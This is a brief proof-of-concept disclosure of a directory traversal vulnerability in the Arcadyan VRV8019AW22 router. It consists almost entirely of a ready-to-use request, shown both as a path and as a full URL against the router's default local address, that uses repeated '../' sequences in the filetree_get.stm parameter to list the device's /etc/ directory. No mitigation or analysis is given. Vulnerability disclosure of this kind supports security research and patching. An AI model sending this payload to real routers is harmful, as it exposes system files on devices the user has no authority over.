Manufacturer: Arcadyan Model: VRV8019AW22 POC :- /html/filetree_get.stm?ep=1&t=tree&id=&p=/usb/../../../../../../../../../../../../../../../../etc/ http://192.168.1.254/html/filetree_get.stm?ep=1&t=tree&id=&p=/usb/../../../../../../../../../../../../../../../../etc/ directory traversal vulnerability